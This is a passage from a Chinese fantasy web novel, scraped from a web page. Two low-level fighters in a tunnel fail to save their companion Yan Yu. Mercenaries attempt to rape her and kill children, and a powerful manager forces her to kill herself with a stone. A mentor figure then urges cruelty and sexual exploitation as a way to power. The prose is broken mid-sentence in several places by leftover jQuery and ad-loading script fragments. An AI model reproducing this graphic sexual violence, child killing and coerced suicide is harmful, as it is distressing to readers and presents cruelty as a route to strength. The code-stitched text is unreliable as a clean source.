沈曙雀还和他置气,挑着乱七八糟的东西说话。
两个人无端积
() {
$(''.inform'').remove();
$(''#content'').append(''
累各自的怒气。
“他走了?”
“嗯。”
“老鼠不愿意帮我们?”
“嗯。”
“你别老嗯嗯嗯。”
“……”
乌修平彻底闭嘴,许愿前方冒出一队敌人,这样他和曙雀都可以结束该死的对话,不顾生死地砍一顿。可老天爷偏偏不叫乌修平如愿,黑峻峻的隧道中,老鼠潮正逐步退去,地面残留下大量点状的啮齿类脚印,砖瓦上的苔藓残留下啃食后的泥土。
孩子的尸骨一具一具暴露出来。乌修平无法断定他们死在敌人手中,还是死在老鼠手中,他走过去,已经趋于麻木。
敌人,才能让他摆脱这种麻木。
微弱的风吹在脸上,手电筒的光线呈现出颤动,一个黑影倏然冒出,接着来回在十字交口处往返。乌修平和沈曙雀屏住呼吸,他们同时将这人当做解放自己的旗帜,他们聚精会神,神志因未知的危机重新聚拢在一起。
哪怕只有一个人。
对方站在距离他们五米远的十字路□□叉处,光圈缠绕在他的头顶,从上至下均匀打亮周围一切。那人乌黑柔顺的头发由此散发出一种温和的带着昂贵味道的光芒,他听到乌修平与沈曙雀的呼吸声,微微侧过头,没有完全转过来。
是个男人。
是个很漂亮的男人。
沈曙雀已经认出了对方,“是你?”
她声音依旧保持警惕,尾音微微翘起,乌修平听得鸡皮疙瘩都起来了。某个瞬间,他联想到商店外循环播放的偶像剧预告,女主角与男主角抱着绕圈圈时的粉红泡泡特效。
阿雀不应该这么不警惕。
乌修平握紧荆棘刃。他沿着沈曙雀的目光看向那人的身形,跟着呆愣了下。
男人随意地站着,似乎思考要往哪边去。他身上的纯白便服没有半点脏污,双脚也离开地面,虚空悬浮在地面几厘米的位置。他与沈曙雀描述过的“观音气质”十分相似,袖口露出的一小段手腕与手骨足以看出比例之美。
而因双脚离地悬浮,他脚尖微微向下,勾出脚踝处一个非常小的痣。
乌修平的目光无法离开那颗痣。
毕竟他曾经无数次提起穴鼠的脚,将那颗痣作为自己手按住的标点:当他向前冲刺,他卑劣又带着恶意,用拇指盖住穴鼠脚踝上的痣。在他将穴鼠折叠成对半的姿态时,他会将这颗痣作为参照物,将其拉平到与穴鼠双眼一样高的位置——这也是他为数不多能从穴鼠身上找到存在感的标志物上——可是,穴鼠不是说他绝不会帮自己吗?
“穴鼠先生……”乌修平犹豫着开口。他察觉到前面那个长发男人,完全转了过来,似乎响应着“穴鼠”这个名字。对方的脸上缓慢浮现出震惊与一种戏谑的情绪。他那玉质的脸,其实是一整块玉雕刻成的白色无脸面具,面具下是他雪一样白的脖颈。
“你认识我。”
他笃定地说着。
顷刻间。
他的身体雾气一般化开在黑暗中,消失得无影无踪。
“上次也是这样。他一瞬间就消失了”沈曙雀越发笃定这个人的身份。她抛弃前面与乌修平的不快,交换情报,“啊呜。他救过我。他是那个神秘人。啊呜。你刚刚叫他什么?”
穴鼠。
穴鼠。
乌修平看着沈曙雀,五味杂陈。
42.第四十一章
第四十一章
“我刚刚随便说的。”乌修平道:“不一定是穴鼠先生……他要是真出现,刚刚为什么不帮我们?现在忽然跑出来吓唬人。”
沈曙雀也是这么想的。她更倾向于那个神秘人不是穴鼠。
过去,她总咒骂穴鼠是个吝啬老板,每次都从啊呜手中扣下高昂的中介费。可实际上,她也想要做啊呜一样的工作,苦苦求了好几次,穴鼠却从没表达过雇佣她的意思。
沈曙雀只能加倍讨厌穴鼠这个老板。
听到乌修平的话,沈曙雀也在给自己找台阶下去。她希望神秘人不是穴鼠,又有点希望那个神秘人是穴鼠,“也是。”
沈曙雀已经很努力控制自己的情绪了。可她到末尾,还是说得语焉不详,声调带着一点酸溜溜的调子,“他可有89级呢,犯得着忽然回来吓唬我们吗?”
难以言喻的滋味弥漫在两个人中间。
乌修平频繁用余光观察沈曙雀的表情。他知道自己命不好,却依旧比沈曙雀幸运:他没有死在冬天的巷子里,被平安生捡到送到仁爱院,他没有因为自己的血与诅咒杀死过谁,他上过学,有喜欢的人,也被人强烈到扭曲的喜欢着。
沈曙雀侧过身。
乌修平掩饰住自己的表情,他祈祷曙雀不要猜测到自己内心这点阴暗的想法,可是他又笃定曙雀这样聪明的女孩,一定什么都明白。
“小心敌人。”沈曙雀提醒道:“战斗还没有结束。”
“我知道。”乌修平心乱成一团麻。
他加快脚步,沈曙雀时而在他的身侧,时而落后到他的身后,女孩若有若无的目光在四周巡视而过。乌修平挺起脊背,话在嘴边鼓起三次,又落下去。
——他很想再多问几句。关于那个神秘人,阿雀是怎么想对方的呢?她知道那些不得了的大人物都是如何肮脏龌蹉吗?她知道那些上等人是如何鄙夷他们这些一辈子都无法出头的低职业者吗?
沈曙雀一定是知道的。
可乌修平心中总有一根弦不断绷紧。
他几乎是想要迫不及待结束掉地下会发生的事情,冲入巢穴,抱起穴鼠,从这个男人身上得到确切的答案。
是不是你?
*
浩瀚的鼠潮一时半会没办法马上消失。
对于燕语和平安生来说,当下的情况反而比最初要好上一点。
两个人的脸上都有不同程度的老鼠带来的擦伤。中途有数十只慌乱的老鼠踩在他们的脸上,钻到他们的衣服中,燕语前面有尚不能行动的小婴孩,背后有失去手脚的平安生。
她能做的最大挣扎,就是收拢孩子身上的衣物,站在原地不要动。
其余年长几岁的孩子却没那么冷静。等老鼠大军去了大半,他们胳膊和小腿上都有老鼠咬出的血窟窿。平安生正使用疗愈技能,控制微弱的光球,降落在孩子身上。
他们原本计划马上离开,现在又有些不确定了。
外面是不是发生了什么?为什么会忽然冒出这么多老鼠?是不是还有人在找他们?万一被抓住,除了平安生外,他们所有人是不是都会死掉?
平安生施展了能力,原本就不足的精力更显匮乏。他靠在燕语背上,轻声喘息着。孩子们小心环绕成一个圈,手牵着手,时不时抬起脚给那些老鼠让开路。他们因为恐惧老鼠,眼睛呛着泪水,嗓子紧得发不声音。
燕语也发不出声。
整个空间唯有平安生有些沉重的喘息声。正前方由诸多老鼠们冲出来的巨大破洞,吹出的风也都是老鼠的味道。
“地面?”平安生询问道。
燕语不知道。
作为一个没有任何技能的普通女性,她不确定自己在什么时候能保证自己的生命,更别提同时保证其他人的生命。
她内心甚至产生荒谬的想法,不如就在原地等待其他人找过来,不管是仁爱院里的谁,总有人可以帮她做主意。
平安生也察觉到这一点。
如果他此刻还健全,他大可以做这次的指挥。可他精疲力尽,捆绑在少女肩背上,求生欲和求死欲在他大脑中互相纠缠,舍小家为大家的理智和对重回到痛苦之中的恐惧左右互搏,支配他的嘴唇。
“我们。”平安生犹豫,还是没有将话完全说出来。杂乱的脚步声传过来,孩子们躁动起来。他们错误地聚拢到燕语脚下,反而让燕语一时间没有办法带领队伍躲藏起来。
“这老鼠也太多了。”
“忍一下。到时候往里面灌毒气,统一消杀就好了。”
“呕。这也太臭了。”
刀尖的轮廓率先出现在墙壁上,手电筒的光上下颠簸。燕语几乎来不及到逃跑,瞬间,那漫长的光剑刺中她的眼睛。她眯起眼,四肢冰凉,头晕目眩,分辨不出那些人在说什么。
“她背什么?”
“是……是人。”
燕语再也顾不上其他。
她拽着孩子们的后衣领,试图逃跑。她才迈出两步,那些男人冲到道路前面,堵住她的去路。他们揪住燕语的头发,脚踹在她的膝盖上。
燕语毫无反抗得摔倒在地上,接着那些粗糙结实,还带着战斗后余热的手纷纷撕开她身上的布条,刀贴着女孩的身体,不管是什么,全部割下来。
燕语身上的布料顿时破开一道道口子。而她背着的平安生也翻滚在地上,暴露出最不堪的样子。
失去双手双脚的男人在布条里努力蛄蛹,好像一条硕大的青菜虫,他依靠手臂和臀部下一点柔软的肉当做支撑点,在地上缓慢爬行。
他被人用脚翻了个面。
燕语发出喝喝的恐惧声音,她爬行过去,抱住那个人的脚,也被一脚踹开。男人们伸出四五六只手,拽住燕语的头发、手臂,死死按住她。
“长得还可以啊。”
“见鬼。你说这个话是什么意思。这是野怪。”
“这种蠢话你也相信?”其中一个男人用手捏住燕语的下巴,燕语死死闭着的嘴被打开一道缝隙,涎水不受控制地溢出来地。他道:“瞧瞧这触感,这口牙。这可是货真价实的女人。”
他们一路杀得自然是货真价实的人。
对受到雇佣的某些人来说,不断加码的金钱已经压垮他们最后一丝良知。
有本地庞大的商业集团做担保,他们坚信自己不会出任何事情。
因为他们出事,成平集团也不会得到好处。或者说,这么大的集团在前面顶着,天塌下来也不是他们第一个死。
“杀了?”
“靠。这么浪费吗?”
会发生什么,不言而喻。
哪怕很多次预想过这种事情会发生在自己身上,但等这一切真实到来,燕语还是感觉到深深的恐惧。
她试图摇头,眼泪一连串掉下来。她被那些男人拖行到一个角落,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子们并不理解会发生什么,纷纷大叫起来。一个男人挥舞刀把他们驱逐到角落。燕语看到刀长而宽的侧影照应在墙上,落下,飞起满满一墙的血。
她伸出手推搡男人的胸肌,发觉没有用后,开始用一切能反抗的东西进行反击。她甚至后悔没有安装上什么自爆的装备——她这样没有等级没有职业的普通人,基本是反抗不了职业者的。
一切都会结束。
燕语的意识开始混乱。她歪过头,隔着头发看到同样落在地上的平安生。痛苦的眼泪并没有流淌出来,她清晰看着印象里那个强壮有足够力量的男人,发出咆哮,被人提起来,提到她看不到的地方。
一切都会结束。
这就是没有力量、不被秩序保护的一生。
身上的男人胡乱亲吻她的脖颈。燕语却完全失去战斗的意志力,模糊中她甚至怀念在王德经理家工作的痛苦日子。她知道那非常不合理,那非常不正常,可在那个做牛做马的日子里,她还能指望一个男人拥有最起码的道德,指望男主人忌惮女主人的脸面不抢占她。
现在,一切都结束了。
燕语脸上一阵温热。
她睁开眼,前一秒还露出黄牙亲吻她面颊的的男人从后脑勺到口腔,插入一把雪白的刀。随着她的注视,那把刀正化为烟雾,男人摔倒在地上,露出悬浮在半空中的轻甲与主人。
他用仇恨的目光注视着燕语,那目光不是一种看待人的目光,而是看待心爱牙刷被人使用过的嫌弃。
“为什么不反抗。”王德经理质问道。
他对面前这个女人所有的情绪都包含在这句话里。燕语脑海里却没有任何劫后余生的欣喜,过去数年带来的折磨与恐惧叠加在被□□的危机上——在这位雇主面前,她确信自己有被抢占被践踏的一天,她每一天都在等待自己遭到暴力处决的一天。
她不知道这是什么可笑的情绪。
但,她知道自己惹恼了主人。
她并没有从暴力中离开,她只是被迫回归到原本的暴力中。
因为,她是一个没有等级没有技能的普通人。
燕语站起来。
她按住嗓子,非常努力,咿呀地发出点自己的声音。她感觉自己的嗓子被挤开,刀在咽喉里刮来刮去。她跑向王德经理,用力吐出一口含血的浓痰,上前抓住那股不切实际的烟雾。
白光,骤闪!
王德经理没有回头。他手中的的白色巨镰切开燕语的头发,女孩脆弱的咽喉上出现一道血痕。她冲刺得速度太慢,慢到救了她自己一命。
职业武器产生的冲撞让燕语飞出去,撞在墙壁上。
那些断裂的头发扑朔朔掉下来,燕语咳嗽着,牙齿从嘴唇里掉下来。
她还试图爬起来,白色巨镰却好似下定了什么决心,从上至下劈砍下来。
铛——
一把漆黑的长满长短不一尖刺的刀刃,不,应该说是类似荆棘条的存在横档在燕语面。刀刃上每一段尖刺都被白色的巨镰砍断,过大的力度促使那些砍飞的荆棘刺到处乱飞,细微的血丝迸到乌修平脸上。
他看着面前的王德经理,在刀刃的另外一段,一只属于女孩子的手被荆棘刃刺穿。带着诅咒的鲜血沿着路径缓缓往下,与白色巨镰汇聚在一起。
【荆棘刃.技能二.叠加诅咒】
【荆棘刃.技能三.痛苦之匣】
发动!
43.第四十三章
第四十二章
没有半句废话,从荆棘刃出现到附魔上的沈曙雀的鲜血地,全程不过一秒半的时间。双方快速拉开距离,沈曙雀脱下身上的外套,缠绕住伤口,用唯一完好的手,提着燕语滚到角落,挥拳与那些凶悍的男人殴打在一起。
乌修平甩着带着鲜血的荆棘刃冲上去。他身上唯二的技能不断穿插在其中,因无视沈曙雀的鲜血诅咒,,他毫无顾忌得施展招数。白镰一次一次擦着乌修平的咽喉与肩膀过去,疼痛仿若涟漪,没有对乌修平造成任何实质性的伤害。
他快步上前劈砍,荆棘刃带动的附加技能让他充满了力量。这是一种非常奇妙的体验,乌修平感觉自己手中握着得不是一把刀,而是一把输液管,源源不断的力量正从无数针孔输送到他的身体中。
乌修平甚至产生自己可以杀死王德经理的错觉。
他们之间的距离不断逼近。王德经理终于没有继续忍耐,他的身形快速散开,成为一团烟雾,继而重新组合。乌修平的刺穿在他面前毫无抵抗力。而那白色巨镰所勾连的锁链,飞速打直,沿着乌修平的脖颈缠绕两三圈,将他拖拽到地上。乌修平登时脸红气喘,双腿在地上乱蹬。
“乌修平。”王德经理平静地说出这个名字。
他身边有一层非常浅薄的空气墙,这也为什么沈曙雀的鲜血几乎没有在这战斗中生效的原因。王德经理早早弄清楚他们的小伎俩,并且做好了应对措施。而对于他的技能,乌修平和沈曙雀一无所知。
“你以为每次都能凭借诅咒胜利吗?”王德经理狞笑着,铁链猛然收紧,乌修平便被拖拽过。空气中弹出弹夹更换的声,接着乌修平便察觉到小腿上温热的细流。强烈的子弹不要钱的倾斜出来,子弹与打击在墙上形成的反弹弹互相碰撞,沈曙雀站起来,对准那虚幻的铠甲一顿扫射。
王德经理毫无动静。
这种微弱的火力攻击对于他这个等级来说毫无用处。他甚至不需要睁眼看待沈曙雀这样一个没有职业的小垃圾,挥挥手,沈曙雀手中的枪骤然卡壳,强烈的青烟和不妙的爆破声从枪管里传出来。
“阿雀!”乌修平尖锐地惨叫一声。王德经理更用力踩着他的脸,乌修平竭力向上翻眼皮,却怎么也看不到沈曙雀的近况。他将目光重新放在王德经理身上,仅能看到对方一半的脸。
恶鬼。
“还有空惦记着别人。”王德经理更加用力。乌修平能听到自己下颚骨断裂的声音。他试图从地上爬起来,细小烟雾的化为针刺穿膝盖骨。哪怕失去痛觉,但乌修平的触觉还在,他感觉自己瞬间被人切断电线,膝盖往下,完全失去知觉,大腿肉一跳一跳抽搐起来。
“就你杀了我们表少爷……呵。”王德经理打住话头,想起另外一件更加重要的事情。他转过身,不再理会面前这个彻头彻尾的失败者,径直走到蠕动着试图逃跑的平安生面前,抓起布条,将男人提起来,往回走。
这样就可以交差了。
王德经理将目光投向角落里那个瑟瑟发抖的女人——他第一眼相中的女仆,但此刻,因为这个女人可能被别的男性摸过,他对她那种欲望被限定在极为尴尬的境地中:王经理期待这个女人有点自尊心,可以为自己自杀,又希望她彻底地堕落地,让自己的过去诸多愿望得到满足。
他注视着这个落魄的、没有任何战斗力的女人。
燕语扶持着墙壁,看向他,扑上来。王德经理抽出刀,发出长长的叹息。
永别了,燕语。
我曾经最爱的女人。
他听到细微的引线拔断的声音。一只手从后方擒抱他的腰,沈曙雀浑身是血地站起来,咬住他提着平安生的手。涓涓鲜血正处于饱满的即将要滴落的状态。王德经理瞳仁放大,在自己的等级与实力危机面前,什么集团的任务,什么都不重要。他将所有能量转移到手部,以支撑起一个朦胧白色的保护罩。
平安生掉在地上。
乌修平爬起来。
沈曙雀飞出去。
燕语冲了上去。
在这个等级至上的世界,不存在蚁多咬死象的选项——弱者从始至终就是弱者,想要摆脱弱者的唯一办法就是变强。乌修平握紧刀,他再一次发动攻击,而这次,王德经理依旧比他快一步,甚至数步,他从沈曙雀的诅咒危机中转移枪头,迅速格挡住乌修平的荆棘刃,以及荆棘刃上挥洒的鲜血。
邦邦。
朴实无华的两拳砸在乌修平的腹部。男人嘴角抽动两下,他确实屏蔽了痛觉,可技能对身体的打击还是存在,乌修平依旧会受伤。他的嗓子正在涌出酸水,胃部有什么东西翻滚着。
痛觉依旧被屏蔽着。
触觉则像一双手,在乌修平身体各处随意揉搓。乌修平竭力忽视掉身体各处传来的异样感受,吐出酸水,荆棘刃狂烈劈砍向王德经理。那口浑浊的酸水喷洒在王德经理面部,却没有触碰到他的肌肤。
就在前方,一层气态的隔离罩,依旧维持着动态。
包括沈曙雀的鲜血,也只在上面残留下星点的窟窿。
王德经理勾动手指,飞舞的白色巨镰盘旋在两侧,形成包抄架势冲向乌修平。乌修平提起荆棘刃,下一秒,两道锁链从他耳边扇过,直勾勾杀向他身后的燕语。
“趴下!”沈曙雀抛弃所有火力武器,冲上前一脚将燕语踹在地上。她粗鲁的行动叫燕语吃了一顿泥土,自己却成为直面白色巨镰的第一人。
乌修平眼睁睁看着那白色巨镰在半空硬生停滞,急转直下,继续扑向燕语。
他陷入了彻底的迷茫,一度怀疑王德经理真正的目的。可没有时间给他思考燕语的过去,王经理这么做的理由。乌修平侧滑过去,单手撑地,硬扛住那两道巨镰攻击,“快跑。”
普通人在职业者的战场,连炮灰都算不上。
燕语狼狈地爬起。她似乎还在犹豫,沈曙雀想要拖拽她离开,却因为双手沾满鲜血不知道该如何下手。
“快走。”沈曙雀催促道:“不要在这里影响啊呜。”
燕语说不出话。
她嘴唇沾满泥土,唇纹清晰,那上面的血和唾液混合在一起,接着是眼泪。她明显知道王德经理为什么要杀她,她可能也想逃跑,但她已经动不了了。
“你们,还想走?”王德经理悬浮在半空中,有种打蚊子的烦躁感。他目光先落在沈曙雀身上,拥有艾滋血的女孩与他而言比乌修平更加麻烦的。王德经理切实从她身上察觉到更加清晰的恐怖的力量。
乌修平不一样。
虽然报告里说,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
他同样遭受到了神明级别的诅咒。目前为止,王德经理却没有从他身上得到半分实质感。
不过,无所谓了。
他的主要任务是将平安生完整带回到总部。
燕语,是他自己想要她死。
“燕语。”王德经理双目散发出微弱的光芒,那光芒在漆黑的隧道中如此明显,呈现出种诡谲的光的锐角。他蛊惑道:“你自杀,我就放了他们两个。”
乌修平还没有反应过来。
他在有些时刻就是没有那么敏感,如果没有这一身奇怪的伤疤和诅咒,他也不会成为这个时代的天之骄子。他就是人世间最常见的没有天赋的普通人。
“燕语姐!不要听他的话。”乌修平大喊着,冲向王德经理。而这一次,他再也不会等得到强者的无视,王德经理勾动手指,简直不要太轻松。他将这个失败的刺客四肢控制住,收紧五爪,用力甩向墙壁。
燕语的双手在地上摩挲。
强烈的尘埃弥漫在隧道中,乌修平被嵌在墙壁中,荆棘刃上数根刺崩裂,在他手中摇摇欲坠。
“不要!燕语姐。你中了技能。”沈曙雀含着血嘶吼起来,“不要被迷惑了。”
可有什么选择呢?
燕语摸索到一块石头。
王德经理提起手中的平安生,仁慈地说道:“你要是死在这里,我说不定会放了这个……从小看着你长大的叔叔吧。”
那是一块拳头大小的碎石,或者说碎砖瓦,边角带着锋利的锐度。
沈曙雀已经顾不上什么血不血的,她冲上来,就要一脚踢开燕语握着石头的手。而此刻,依旧是王德经理。
他挥挥手。
沈曙根本无法弄清楚是什么招式,她整个倒飞出去,与乌修平一样摔在墙壁上。黑暗中,只能听到她大口吐血,和风箱似地喘息声。
王德经理愉悦地笑起来。
他提着平安生,似乎想要找一个人欣赏这美丽的景象。
“动手吧。”他凝视着燕语。这个年轻的女人,一直因他夫人的存在保持着处子之身,在他们夫妻的默许中,他们的侍女必须是纯净的、少语的、有用的,她必须完全得由他们夫妻所使用,其他男人触碰得下场只有一个的。
燕语的双手用力环握着碎石。
她的表情因王德经理的靠近重新苏醒。她脸颊上每一块肌肉都恐惧得收缩起来,额头上的冷汗,眼角尚未干涸的泪珠,唇纹上游走的血丝,都因此重新流动起来。她努力用一切微小的肢体语言表示自己的服从,直至王德经理的身影完全投罩在她身上。
“我爱你。”王德经理说道,“燕语。”
他打了个响指。
燕语的手腕暴起青筋。她眼球惶恐地向下,咽喉喷射的鲜血溅入眼白,强烈的刺痛感中她的双手依旧维持稳定向里刺去。她曾经能唱欢乐颂的嗓子,清泉一般涌动鲜血,直至石块完全洞穿咽喉。
“【疗愈】”
微弱的白光环绕在燕语身体上,却始终无法冲破王德经理的技能。王德经理也没有阻止失败者们微弱地挣扎着,他看向手中提着平安生,想到自己在这场战斗中最大的漏洞。
真应该带个行李包来。
他想道,这样提着一个大男人可真奇怪。
44.第四十三章
第四十三章
王德离开了。
燕语姐死了。
乌修平和沈曙雀倒在孩子们的尸体中间,很久,两个人才从扭曲的呼吸中醒过来。
一切和他们最开始预想的完全不一样。他们以为自己是一本小说中的主角,面对强大的敌人,从底层一点一点往上爬……毕竟,他们真的肩负着诅咒这样痛苦且强大的存在,也切实杀死过比他们强大的人。
可乌修平和沈曙雀忘记了。
这个世界,力量为尊。
暴力,是一切权利的基础。
燕语身体上代表治疗系的光斑越来越弱,最后和肥皂泡泡一样破碎,散落下星星点点的光辉。她躺在地上,双眼睁大,乌修平连滚带爬来到她面前,一边咳血一边寻找治疗药水。
“姐。燕语姐。”乌修平混乱地喊着。他拧开盖子,正要往下倒。一双血淋淋的手抵住瓶子。
“她死了。”
沈曙雀身上有好几个血窟窿,右臂完全耷拉下来,双腿也有拖行的迹象,能继续对乌修平开口说话,全凭借她个人强大的意志力,“啊呜。不要浪费药水。”
乌修平呆愣愣看着挚友。
沈曙雀身上的血滴在燕语的肢体上,没有弹出任何反馈窗口。涓涓流淌的鲜血构成一个他们不得不面对的死亡宣判书。
燕语死了。
因为他们太弱,燕语姐死了。
乌修平将拧开的药水递到沈曙雀嘴边,他抱住沈曙雀,给她灌药水,眼睛酸疼——他并没有彻骨铭心的疼痛,哪怕燕语是从小与他们一起长大的姐姐,乌修平也只察觉到短暂的不适应。他的大脑迅速冷静下来,接着不知道自己要做什么,一片混沌中,他唯有更用力抱住喘息的沈曙雀,一瓶接着一瓶拧开药水。
“阿雀。”乌修平语无伦次道:“平叔被带走了。”
沈曙雀没有回应。
乌修平更大声偏离现在的状况,“平叔被带走了。”
“我知道。”沈曙雀道:“我反应不过来。太快了。一切都发生得太快了。啊呜。”
从他们与王德经理交手、战败,再到对方杀死燕语,带走平安生。
一切都太快了。
整个战场都是王德经理的舞台。
“他至少有五十级。可能更高。”沈曙雀用残存的一只手按住太阳穴,紧咬着下唇,要哭不哭的表情维持几秒,还是没有绷住,“我们会死掉的。真的会死掉的。啊呜啊呜。”
乌修平不知道要说什么的。
在这一刻,他才清晰地意识到自己将平安生带回仁爱院,给这个弱小的、贫穷的、没有任何抵御风险的家带来什么危机。他与沈曙雀错误得以为依靠他们自己的意志就可以改变事实:光靠空想就能得到千亿财富成为胜利的主人,光靠武器就能打破数十年来力量与等级构筑的暴力逻辑。
他们错了。
世界从没有对弱者怜悯过。
“阿雀。”乌修平尝试捡起他们脆弱的自信心。他结结巴巴安慰道:“我们可以的……为燕语姐复仇。我们能把平叔重新抢回来……我们不是杀了那个傀儡吗?当时不是配合得很好吗?”
沈曙雀抬起头,她的眼睛里都是鲜血。
重击造成的鲜血熔化她的眼眶,与眼泪混合成一体,重新溢出来。她看着乌修平,那种陌生的目光,好像看一个蠢货,又像是看待一个毕生的仇人,又隐约是一个母亲看待她永远长不大的孩子。
“那个傀儡。我当时就说过,每次都那种往死里的打法,我会死的。”沈曙雀指着燕语的尸体,几乎崩溃,几乎咆哮,“我真的会死的。就算有那个狗屁神看着,我也会死的。”
“燕语姐是个意外。”乌修平干巴巴地承诺道:“我们变强。变强就好了。”
沈曙雀喘着粗气,中途剧烈咳嗽起来。她呛出的血溅了乌修平满身,人勉强撑起半边身体,甩了乌修平一个巴掌。乌修平还没反应过来,她反手又扇了一巴掌过去,打了这两下后,沈曙雀似乎累了,她狠狠扇了自己一下,就在要扇第二下的时候,乌修平抓住她的手。
两个人僵持住了。
他们一并陷入到可怕的沉默中,直至童姥姥和明修女分别从两个方向赶过来。
她们第一眼看到乌修平与沈曙雀,第二眼看到地上的燕语。
明修女双膝软下去,“燕语!”
“先回去。”童姥姥对乌修平道:“跟上。”
乌修平麻木点头。
他背起放弃挣扎的沈曙雀,盖上燕语圆瞪的双眼,将孩子们一个一个抱到燕语身边。除此之外,他不知道自己还能做什么。
在仁爱院死亡与疾病息息相关。不是每一个孩子都能健康长大,也不是每一个孩子都能成人,乌修平做过很多孩子的背尸人。
那时,他将孩子们抱在怀里,感受他们小小的尸体最后的重量。
此刻,也是。
“我会杀了他。”乌修平喃喃道:“我会杀了他。”
他的决心没有维持多久,在聚集的时候,在看到叶生光时再次崩溃。
“燕语姐死了。”叶生光问乌修平,“平叔也被掳走了。我们到底在干什么?”
*
如果从一开始知道利弊,知道这是一场必输局,你还会的继续吗?
如果一开始就残忍点,放任平安生继续处于人彘地狱中,当做从来不认识,擦肩而过,会不会燕语、其他无辜的孩子就能活下来?
如果他们能更加胆小、恐惧,更加谨慎,或者更加果断抛弃大部分会成为累赘的孩子,带着平安生逃亡天涯,是不是能保证其中一方活下来?
乌修平不知道。
他发现他真是一个蠢货,一个彻头彻尾的蠢货。
在受到无法释怀的伤害后,他抱着最后一点希望寻找到穴鼠,希望能够得到变强的方式。
“没有。”
“……真的吗?”
“对于你来说,是这样的。”穴鼠指点道:“你等级一直卡在15级,估计和你身上的诅咒有关系。想要克制这类诅咒,最起码要找一个同等级的升级工具。”
乌修平想到平安生。<
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
穴鼠也想到了。
他毫无顾忌地坦白道:“没错。就是你想的,你错过了人生中最有可能提升力量的一次。你和那个老家伙都没接触过几次。”
乌修平想要反驳,说不出任何话。
他低下头,攥紧拳头,“可是。这样……变强的意义。”
“变强没有意义。”穴鼠道:“乌鸦。变强是没有意义的。就像以前跑步快只是跑步快。在赛场上,这一份速度会变成荣誉。在战场上,这一份速度会让你保住性命。”
“你的鸟朋友说错了一点。你救下平安生没有什么错,将他带回家也没有什么错。”
穴鼠诡谲地笑起来,恶毒至极,“你最大的错误就是没伤害他。”
“为什么没有用刀捅他?”
“为什么没有用语言羞辱他?”
“为什么不艹他?”
穴鼠每一句话都是那么的残忍。几乎直接伤害到乌修平的灵魂。男人恐惧地大叫起来,为了抵抗这每一句话造成的可能性,他抱着头蹲下来,却被穴鼠环入胸膛,两个人紧密贴着,恶魔的蛊惑就在乌修平头顶盘旋。
“我不能这样做……”乌修平挣扎道:“我不能这样……平叔……平叔是个好人。我不能……”
“所以那个普通女人才会死掉。”穴鼠道:“变强的手段都在你面前了。你也不懂得去用。乌鸦。你果然是废物男人。”
他说完这种羞辱的话,乌修平无法遏制痛哭起来。
泪眼婆娑中,他看到穴鼠的表情,那仿若欣赏又夹带着心疼的态度,他对他的爱从不会溢出,更不会爱屋及乌,他只在乎自己在乎的那一份东西——如果乌修平切成好几分还能活着,穴鼠应当会毫不犹豫地执行,并取出他最在乎的那根玩意儿,施施然离开。
乌修平甚至不知道如何判断穴鼠对自己的感情。
曾经他产生过利用穴鼠的心思:如果是爱情,他会努力伪装成一个很好的爱人。如果是亲情……好吧,没有人会脱光衣服和亲人睡觉。
但穴鼠并没有展现出了解乌修平的欲望。他没有探究过乌修平到底是怎么想的,他让乌修平觉得自己除了满足这个男人的□□外毫无作用!
“除了这个。”乌修平抱着头,摇晃着,“除了这个……我可以变强的。我可以的。穴鼠先生!”
他看过来的表情太过诚恳,令穴鼠产生片刻动摇。但很快,他心中属于人类的怜悯被什么东西压下去。理智与傲慢涌上心头,控制住男人该死的嘴——他什么都没有说,嘴角微微翘起来,有种抑制不住的喜悦。
他在喜悦什么?
乌修平忽得想起两次见过的那个神秘人。
他嘴唇翕动,最终还是将困惑问了出来,“您……为什么偷偷来找我们?为什么……”
既然来找我了,是不是在意我。如果在意我,为什么不能顺手救下我身边的人呢?
刹那间,黑暗中玉质一般温和的面容,变换出恶鬼的本质。
“我是去找你的。”穴鼠道:“他们死了就死了,和我有什么关系。”
45.第四十四章
第四十四章
一切仿佛是错觉。
乌修平失去和穴鼠吵架的力气。他的感性让他忍不住掉下眼泪,他的理性让他知道这样做没有任何用处。
他与穴鼠来说,到底是什么呢?
“我知道了。”乌修平擦拭眼泪,整理房间、打扫卫生、满足穴鼠的需求后,离开房间。身上属于男人的味道逐渐散去,眼泪也逐渐被风吹散,他背着一包质量绝佳的治疗药水和药剂,蹒跚走回仁爱院众人那。
仁爱院死了23个孩子,每一具小小的尸体摆放在地上,头首相连,明修女和童姥姥找出他们常用的小被子,一条一条给他们盖上。
往生咒。超度。
路加福音书。安魂弥撒。
叶生光和沈曙雀分别坐在左右两侧,她们察觉乌修平的踏进的保护罩,微微抬起头,又垂下去。
没有停灵,没有其他多余的工作。童姥姥和明修女购买焚烧卷轴,一行人将孩子们与燕语的尸体堆在一个地下洞窟中,拉开卷轴,丢进去,黑烟滚滚,贴着地面行走。
乌修平和沈曙雀去了趟烂尾楼。
“当时真应该回来。”沈曙雀指着迫击炮,假设道:“50级能抗住这一炮吗?”
乌修平不知道,他只有15级。
羞愧让他再度哽咽,“阿雀。”
“我当时应该先来这里。”沈曙雀呓语道:“哪怕会浪费半个小时,不,哪怕浪费一个小时搬这些东西。我都应该先进来的。下雨也没关系,我可以用衣服盖住的。”
“阿雀!这不是你的错。”乌修平抓着沈曙雀的肩膀,“就算搬回来,也不会好到哪里去。这么大的武器会把地面打穿,我们都会被埋在地下的!”
沈曙雀当然知道这一点。
“啊呜。”她对乌修平道:“我要加入血缘教派。”
乌修平还没反应过来。
沈曙雀又重复了一遍,她道:“我要加入血缘教派。”
乌修平终于听清楚了,也明白了过来。可他内心升起的第一意识并不是曙雀要去加入一个信仰,一个被鉴定为“邪”的教派,而是曙雀要离开他。
“不可以。”乌修平抗拒道。
他几乎找出所有反对的理由,正当化自己内心那种微妙的恐惧。
“姥姥不会同意你去的。”
沈曙雀道:“我不需要她同意。”
“那地方会抽人血,还会剥人皮。阿雀。不要去。那里是什么好地方,你。你不是看过他们的义演团吗?你是被他们迷惑了吗?”
